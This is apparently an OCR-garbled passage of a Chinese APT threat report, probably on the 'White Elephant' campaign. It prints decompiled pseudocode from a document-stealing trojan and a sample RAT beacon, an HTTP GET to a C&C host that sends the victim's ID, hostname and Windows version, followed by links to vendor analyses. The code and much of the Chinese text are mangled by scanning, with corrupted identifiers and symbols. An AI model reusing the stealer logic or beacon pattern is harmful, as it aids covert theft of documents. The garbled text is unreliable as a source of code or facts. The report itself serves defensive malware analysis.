&& stricmp(::Strl, "7z"
&& stricmp(::5trl, "rtf") )

goto Nexe; /f BRE L ERERTES MESEHE, FHT 2

1

Sleep(@xC8u);

v3@ = &Dst[strlen(Dst) + 1];

v3l = v38 wAG

8 vad;

if ( l!isspace((unsigned _ int8)va47[v31]} }
break;
--v31;
}
while ( v31 );
1

B 5-2 “BE TRTHHREAREREEREH

FA8T
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BARNRE—RERIER KRR R MEBETHN

if ( vie I= v40 )
do
1
if { lisspace((unsigned _ int8}v47[v31]) )
break;
--v31;

if ( !isspace((unsigned __int8)Dst[v33]) )

break;
++vE3;

while ( Dst[v33] };

i

/f BEEHRERHTE

memmove (Dst, &Dst[v33], strlen(Dst) - w33 + 1);

Sleep(@x12Cu};
if { dword_487@4C )

break;

Sleep(@xCBu);

v34 = s_FilePost(&Filenams);
dword_4894C8 = rand() ¥ 1000 + 2000;
Sleep(dword 4894C8);

if ( lu3e )
1

fputs(Dst, dword 4880BE);
fprintf(dword_488088, "\r\n");
Sleep(@x64u);

fputs(Dst, dword 4880B4);
fprintf(dword_488084, "\r\n");
Sleep(@x64u);

fputs{Dst, File};
fprintf(File, "\r\n"};

JEL_82:

Sleep(@x64u);
fflush({dword_4888B8);
fflush(dword_488084);
fflush(File);
Sleep(@xCBu);
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5.2.4 RAT Hizimi=Ea N

“TN” ATEE A T Microsoft Visual C ++ 8.0 4w 1) RAT CGFEfEHD 27, F IR HTTP

POST &R A%, RHHAXCHEES C&C #1E.

GET /winter/war.php?cld=fabbcbal-c573-4eal-9cal-50004b35a440&hosName~tequilaboomboom&verInfo=HindowsX20XP
%20BuildX3a%205.1.2600%285erviceX20Pack%203 HTTP/1.1

Host: www.nexster9l.com

Connection: close
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GR: ARWFED—K H RO 199 26 Bty
http://www.antiy.com/response/ WhiteElephant/WhiteElephant.html

B 5K ELHR 2 St €2016 4 Hp [ ELIBR P 9 2 22 44 75 )

http://www.cert.org.cn/publish/main/upload/File/2016 cncert report.pdf

FireEye: The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and Crimeware Campaigns

https://www.fireeye.com/blog/threat-research/2013/11/the-dual-use-exploit-cve-2013-3906-used-in-both-

targeted-attacks-and-crimeware-campaigns.html

FireEye: Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906

https://www.fireeye.com/blog/threat-research/2013/11/exploit-proliferation-additional-threat-groups-acquire-

cve-2013-3906.html

Malwarebytes Labs: Shakti Trojan: Document Thief

https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/

Malwarebytes Labs: Shakti Trojan: Technical Analysis

https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis

Forcepoint: BITTER: A TARGETED ATTACK AGAINST PAKISTAN

https://blogs.forcepoint.com/security-labs/bitter-targeted-attack-against-pakistan
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